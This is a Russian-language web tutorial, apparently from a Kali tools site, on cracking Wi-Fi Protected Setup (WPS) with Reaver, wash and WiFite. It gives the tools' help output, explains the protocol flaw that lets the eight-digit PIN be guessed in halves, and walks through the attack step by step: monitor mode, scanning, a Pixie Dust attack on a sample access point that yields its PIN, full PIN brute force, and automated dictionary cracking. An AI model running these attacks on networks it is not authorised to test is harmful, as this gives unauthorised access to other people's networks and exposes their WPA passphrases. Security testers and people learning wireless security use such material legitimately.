Взлом wps

Reaver Package Description

Reaver has been designed to be a robust and practical attack against WPS, and has been tested against a wide variety of access points and WPS implementations.

On average Reaver will recover the target AP’s plain text WPA/WPA2 passphrase in 4-10 hours, depending on the AP. In practice, it will generally take half this time to guess the correct WPS pin and recover the passphrase

  • Author: Tactical Network Solutions, Craig Heffner
  • License: GPLv2

Tools included in the reaver package

reaver – WiFi Protected Setup Attack Tool

root@kali:~# reaver -h
Reaver v1.6.5 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner
Required Arguments:
    -i, —interface=          Name of the monitor-mode interface to use
    -b, —bssid=               BSSID of the target AP
Optional Arguments:
    -m, —mac=                 MAC of the host system
    -e, —essid=              ESSID of the target AP
    -c, —channel=         Set the 802.11 channel for the interface (implies -f)
    -s, —session=            Restore a previous session file
    -C, —exec=            Execute the supplied command upon successful pin recovery
    -f, —fixed                     Disable channel hopping
    -5, —5ghz                      Use 5GHz 802.11 channels
    -v, —verbose                   Display non-critical warnings (-vv or -vvv for more)
    -q, —quiet                     Only display critical messages
    -h, —help                      Show help
Advanced Options:
    -p, —pin=             Use the specified pin (may be arbitrary string or 4/8 digit WPS pin)
    -d, —delay=           Set the delay between pin attempts
    -l, —lock-delay=      Set the time to wait if the AP locks WPS pin attempts
    -g, —max-attempts=        Quit after num pin attempts
    -x, —fail-wait=       Set the time to sleep after 10 unexpected failures
    -r, —recurring-delay=     Sleep for y seconds every x pin attempts
    -t, —timeout=         Set the receive timeout period
    -T, —m57-timeout=     Set the M5/M7 timeout period
    -A, —no-associate              Do not associate with the AP (association must be done by another application)
    -N, —no-nacks                  Do not send NACK messages when out of order packets are received
    -S, —dh-small                  Use small DH keys to improve crack speed
    -L, —ignore-locks              Ignore locked state reported by the target AP
    -E, —eap-terminate             Terminate each WPS session with an EAP FAIL packet
    -J, —timeout-is-nack           Treat timeout as NACK (DIR-300/320)
    -F, —ignore-fcs                Ignore frame checksum errors
    -w, —win7                      Mimic a Windows 7 registrar
    -K, —pixie-dust                Run pixiedust attack
    -Z                              Run pixiedust attack
Example:
    reaver -i wlan0mon -b 00:90:4C:C1:AC:21 -vv

wash – WiFi Protected Setup Scan Tool

root@kali:~# wash -h
Wash v1.6.5 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner
Required Arguments:
    -i, —interface=              Interface to capture packets on
    -f, —file   Read packets from capture files
Optional Arguments:
    -c, —channel=                  Channel to listen on
    -n, —probes=                   Maximum number of probes to send to each AP in scan mode
    -F, —ignore-fcs                     Ignore frame checksum errors
    -2, —2ghz                           Use 2.4GHz 802.11 channels
    -5, —5ghz                           Use 5GHz 802.11 channels
    -s, —scan                           Use scan mode
    -u, —survey                         Use survey mode
    -a, —all                            Show all APs, even those without WPS
    -j, —json                           print extended WPS info as json
    -U, —utf8                           Show UTF8 ESSID (does not sanitize ESSID, dangerous)
    -h, —help                           Show help
Example:
    wash -i wlan0mon

wash Usage Example

Scan for networks using the monitor mode interface (-i wlan0mon) on channel 6 (-c 6), while ignoring frame checksum errors (-C):

root@kali:~# wash -i wlan0mon -c 6 -C
BSSID               Ch  dBm  WPS  Lck  Vendor    ESSID
———————————————————————————
E0:3F:49:6A:57:78    6  -73  1.0  No   Unknown   ASUS

reaver Usage Example

Use the monitor mode interface (-i mon0) to attack the access point (-b E0:3F:49:6A:57:78), displaying verbose output (-v):

root@kali:~# reaver -i wlan0mon -b E0:3F:49:6A:57:78 -v
Reaver v1.6.5 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner
Waiting for beacon from E0:3F:49:6A:57:78
Associated with E0:3F:49:6A:57:78 (ESSID: ASUS)
Trying pin 12345670

Поиск точек доступа с включённым WPS

Очень многие ТД имеют функционал по работе с WPS. Но у многих эта функция отключена, а у тех, у которых включена, может быть заблокирована (например, из-за нескольких неудачных попыток подбора ПИНа).

Чтобы собрать информацию о точках доступа мы воспользуемся программой Wash, которая поставляется вместе с Reaver и именно для этого и предназначена.

sudo wash -i wlan0

Через несколько минут работы программы будет выведен похожий список:

Для завершения работы программы нажмите CTRL+c.

Wash – это утилита для выявления точек доступа с включённым WPS. Выше показан пример исследования на live («живом») интерфейсе, также она может сканировать pcap файлы (несколько за один раз).

Wash показывает следующую информацию об обнаруженных точках доступа:

		BSSID		BSSID Точки Доступа (т.е. MAC-адрес)
		Ch		    Канал ТД
		dBm		    Уровень сигнала ТД
		WPS         Версию WPS, поддерживаемую ТД
		Lck	        Статус блокировки WPS
		Vendor	    Производитель ТД
		ESSID		ESSID (т.е. имя) Точки Доступа

Для атаки подходят только точки доступа, у которых в колонке Lck стоит No, т.е. у которых не заблокирован WPS.

По умолчанию wash выполняет пассивное исследование. Т.е. программа не отправляет какие-либо пакеты и остаётся абсолютно незаметной для возможных систем мониторинга беспроводной активности. Тем не менее, можно указать опцию -s и тогда wash будет отправлять probe requests (зондирующие запросы) к каждой ТД, это позволит получить больше информации о ТД.

Для того, чтобы проводить поиск на 5GHz 802.11 каналах используется опция -5.

Больше информации о Wash и её опциях, а также ссылки на дополнительные инструкции вы найдёте здесь https://kali.tools/?p=359.

Искать ТД с WPS можно и другими инструментами, дополнительная информация об этом в статье «Поиск беспроводных точек доступа с включённым WPS: использование программ Wash, Airodump-ng и Wifite»,

Проверка на уязвимость Pixie Dust в Reaver

Атака Pixie Dust позволяет очень быстро получить ПИН. Но не все Точки Доступа подвержены этой уязвимости.

Для проверки конкретной ТД на эту уязвимость с помощью Reaver используется опция -K. Т.е. команда имеет следующий вид:

sudo reaver -i интерфейс -b MAC_адрес_ТД -K

MAC адрес Точки Доступа можно взять из столбца BSSID полученного в Wash вывода.

К примеру, меня заинтересовала следующая точка доступа:

BSSID               Ch  dBm  WPS  Lck  Vendor    ESSID
--------------------------------------------------------------------------------
EE:43:F6:CF:C3:08    3  -81  2.0  No   RalinkTe  Keenetic-8955

Тогда команда для атаки будет выглядеть так:

sudo reaver -i wlan0 -b EE:43:F6:CF:C3:08 -K

Как можно увидеть на скриншоте, ТД оказалась уязвимой, и получен её WPS пин:

WPS pin:    36158805

При выполнении атаки Pixie Dust не происходит получение WPA пароля (пароля от Wi-Fi сети), как его узнать будет показано ниже.

Если точка доступа неуязвима к Pixie Dust, то прежде чем перейти к полному перебору рекомендуется попробовать наиболее вероятные варианты для атакуемой Точки Доступа. Как это сделать описано в заметке «Эффективный подбор WPS ПИНа по базе известных и сгенерированным ПИНам».

Автоматизированный взлом Wi-Fi в WiFite

Для этого программу WiFite нужно запустить с двумя дополнительными опциями:

  • —crack говорит о том, что нужно производить взлом по словарю
  • —dict ~/newrockyou.txt указывает, какой словарь использовать
sudo wifite --crack --dict ~/newrockyou.txt

После запуска подождите несколько минут, пока программа соберёт информация о доступных точках доступа:

Когда информации достаточно, нажмите CTRL+C.

Нас попросят ввести номера точек доступа, которые мы хотим взломать. Можно выбрать все (нужно ввести all), можно выбрать отдельные ТД, перечислив их через запятую, можно выбрать диапазоны, перечислив их через дефис:

Дальше программа всё будет делать сама. Если вам показалось, что программа на слишком уж долго застряла на какой-либо точке доступа или на какой-либо атаке, то нажмите один раз CTRL+C для перехода к следующему действию. У нас спросят — мы хотим немедленно выйти или продолжить:

Наберите c, чтобы продолжить.

Уязвимость WPS

В декабре 2011 Стефан Фибёк (англ. Stefan Viehböck) и Крейг Хеффнер (англ. Craig Heffner) рассказали о серьёзных прорехах в протоколе WPS. Оказалось, что если в точке доступа активирован WPS c PIN (который по умолчанию включен в большинстве роутеров), то подобрать PIN-код для подключения можно за считанные часы.

PIN-код состоит из восьми цифр — следовательно, существует 108 (100 000 000) вариантов PIN-кода для подбора. Однако количество вариантов можно существенно сократить. Дело в том, что последняя цифра PIN-кода представляет собой контрольную сумму, которая можно вычислить на основании первых семи цифр. Таким образом количество вариантов уже сокращается до 107 (10 000 000).

Авторизация по WPS предполагает отправку клиентом последовательности цифр PIN-кода и пакетов M4 или M6 и ответы на них от базовой станции. Если первые 4 цифры PIN-кода некорректны то получив их точка доступа отправит EAP-NACK сразу после получения M4, а если была ошибка в последних 3 цифрах правой части (8-ое число не считаем так как оно легко генерируется атакующим по формуле) — то после получения M6. Таким образом, недостаток протокола позволяет разделить PIN-код на две части, 4 начальные цифры и 3 последующие и проверять каждую часть на корректность отдельно используя базовую станцию как оракула, который подсказывает правильная ли последовательность цифр была отправлена.

Если PIN-код разбить на две части: Следовательно, получается 104 (10 000) вариантов для первой половины и 103 (1000) для второй. В итоге это составляет всего лишь 11 000 вариантов для полного перебора, что в более 9000 раз меньше исходного числа вариантов 108.

Таким образом вместо одного большого пространства значений 107 мы получаем два по 104 и 103, и, понятно, что 107 104+103. В итоге достаточно протестировать 11 000 комбинаций (больше 4-х цифр на тысячу) вместо 10 000 000.

Также были обнаружены уязвимости в генераторе случайных чисел маршрутизаторов некоторых производителей. Уязвимость получила название pixie dust. Для уязвимых роутеров можно получить pin после первой попытки и оффлайн-брутфорса.

Перевод беспроводной карты в режим монитора

Для поиска сетей с WPS, а также для атаки на них нам понадобиться перевести Wi-Fi карту в режим монитора.

Закрываем программы, которые могут помешать нашей атаке:

sudo systemctl stop NetworkManager
sudo airmon-ng check kill

Узнаём имя беспроводного интерфейса:

sudo iw dev

И переводим его в режим монитора (замените wlan0 на имя вашего интерфейса, если оно отличается):

sudo ip link set wlan0 down
sudo iw wlan0 set monitor control
sudo ip link set wlan0 up

Новый сетевой интерфейс в режиме монитора также называется wlan0.

Если у вас другое имя беспроводного сетевого интерфейса, то во всех последующих командах вставляйте его вместо wlan0.

Полный перебор WPS пинов с Reaver

Если ни один из описанных методов не помог, то переходим к полному перебору, который может занять часы или даже сутки.

Команда для запуска перебора похожа на предыдущую, но отсутствует опция, запускающая атаку Pixie Dust:

sudo reaver -i интерфейс -b MAC_адрес_ТД

Перебор WPS пинов может идти неудачно по многим причинам, поэтому для более подробного вывода, чтобы определить, в чём проблема, используются опции -v, -vv или -vvv. Как можно догадаться, чем больше букв v, тем больше будет выведено подробной информации.

Дополнительную информацию о других опциях Reaver, а также подробное описание других ходовых опций, вы найдёте здесь: https://kali.tools/?p=355

Что такое WPS

Wi-Fi Protected Setup (защищённая установка), WPS — стандарт (и одноимённый протокол) полуавтоматического создания беспроводной сети Wi-Fi.

WPS придумывался для упрощения развёртывания и подключения к Wi-Fi сетям.

Есть два типа WPS: WPS с пин-кодом из 8 цифр, на клиенте нужно ввести тот же код, что и на точке доступа, и кнопка WPS — нужно нажать кнопку на точке доступа и на клиенте с интервалом меньше двух минут, тогда они соединятся друг с другом.

Точки доступа, у которых включён WPS, уязвимы к атаке брут-форса (перебора) данного ПИНа. После того, как подобран WPS ПИН можно подключиться к точке доступа, а также узнать её WPA/WPA2 пароль. Перебор возможен только на точках доступа, для которых нужно вводить цифры, но невозможен там, где нужно нажимать кнопки.

Всего необходимо перебрать только 11000, что можно сделать за часы-дни.

Для перебора WPS ПИНов используются разные программы, самыми популярными являются Reaver и Bully. В данной инструкции я покажу, как использовать Reaver для взлома Wi-Fi.

Какая беспроводная карта подойдёт для перебора WPS

Необходима беспроводная карта, которая поддерживает режим монитора и способна делать инъекции. Т.е. в теории должна была бы подойти любая карта из этого списка.

Но на практике в Reaver присутствуют несколько багов, из-за которых невозможно выполнить перебор WPS пинов беспроводными картами с чипсетом Ralink, которые используют драйвера rt2800usb (чипы RT3070, RT3272, RT3570, RT3572 и т.д.), а также для карт с чипсетом Intel.

Разработчики Reaver (мода reaver-wps-fork-t6x) пытаются исправить эту ситуацию, в последнем релизе уже устранено несколько багов, но работа ещё не закончена. На момент написания рекомендуется использовать с Reaver беспроводной адаптер Alfa AWUS036NHA, поскольку у неё чипсет Atheros AR9271, который прекрасно работает с Reaver.

Если у вас есть только карта на чипсете Ralink, то вам следует изучить материал:

  • Решение проблем Reaver: WARNING: Failed to associate with и WPS transaction failed (code: 0x03), re-trying last pin
  • WiFi-autopwner: скрипт для автоматического поиска и аудита Wi-Fi сетей с низкой безопасностью

Вывод по WiFite

WiFite — пожалуй, лучшая программа для новичков. Свои первые беспроводные точки доступа с ней можно взломать ничего не зная про рукопожатия, деаутентификацию, виды шифрования Wi-Fi и такие технологии как WEP, WPS. Лично мой первый удачный опыт, который заставил поверить в свои силы и пробудил интерес к данной теме, связан именно с программой wifite.

По соотношению «затраченные усилия / полученный результат» для  wifite нет равных. И тем не менее, развиваясь в вопросах пентестинга беспроводных сетей Wi-Fi, работая своими руками и головой можно добиться большего результата.  Пентестеру с опытом достаточно быстрого взгляда, чтобы увидеть малоперспективные точки доступа (очень слабый сигнал или ни одного клиента), если пентестер обнаружит WPS, он не застрянет на нём на часы, остановив другую работу (wifite застрянет, это, в принципе, правильно, поскольку WPS является часто взламываемым). Пентестер попытался бы захватить все возможные рукопожатия, а потом, пока перебираются хеши, запустить атаки на WPS и  WEP.

Возможно, это сильно зависит от условий, но при надлежащей сноровке у меня получает легче получить рукопожатия используя airodump-ng + aireplay-ng, чем используя wifite.

Кстати, для автоматизации захвата рукопожатий рекомендуется ознакомиться со статьёй по использованию нового инструмента zizzania: «Массовый автоматизированный захват рукопожатий в BlackArch с помощью zizzania».

Программа WiFite содержит множество опций, познакомиться с ними вы можете на странице документации в Энциклопедии инструментов для пентестинга.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Adblock
detector